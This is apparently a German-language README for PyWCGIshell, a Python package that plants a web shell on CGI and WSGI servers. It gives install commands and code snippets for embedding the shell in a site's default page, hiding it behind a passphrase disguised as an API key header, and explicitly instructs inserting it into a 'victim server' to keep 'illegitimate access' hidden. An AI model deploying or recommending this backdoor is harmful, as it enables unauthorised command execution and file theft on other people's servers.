PyWCGIshell

Pywcgishell

Beschreibung

Dieses Paket implementiert eine Webshell für CGI und WSGI Server.

Mit dieser Webshell können Sie:

• Erkunden Sie Verzeichnisse und laden Sie Dateien herunter
• Befehlszeilen ausführen (mit Befehlsgeschichte)
• Zeigen Sie grundlegende Informationen über den Umgebungsserver
• Umgebungen Variablen anzeigen

Anforderungen

Dieses Paket erfordert:

• Python3
• Python3 Standardbibliothek

Installation

pip install PyWCGIshell

Verwendungen

Befehlszeile

(Die Befehlszeile ist nützlich, um die Webshell auszuprobieren.)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Python -Skript

CGI -Seite

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

WSGI -Seite

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function 

Webshell -Optionen

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

Ich empfehle nicht, method wie pass_type zu verwenden, um Ihre Webshell zu verbergen.

Sie können eine ähnliche Konfiguration verwenden, um Ihre Webshell auszublenden.

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

Um diese Webshell zu verwenden:

• Konfigurieren (Servertyp, Passphrase und Passphrase -Speicherort) und kopieren Sie den Webshell -Code oder installieren Sie ihn
• Fügen Sie es in die Standardseite des Opferservers ein oder importieren Sie es
• Senden Sie eine Anfrage mit der Passphrase und nutzen Sie den schwachen Server

Beispiel

Installieren und konfigurieren Sie PYWCGISHELL auf WebScripts, um Ihren illegitimen Zugriff aufrechtzuerhalten, und verbergen Sie ihn (Repo ist hier).

Webshell auf WebScripts - YouTube

Links

• Github -Seite
• Dokumentation
• PYPI -Paket

Lizenz

Lizenziert unter der GPL, Version 3.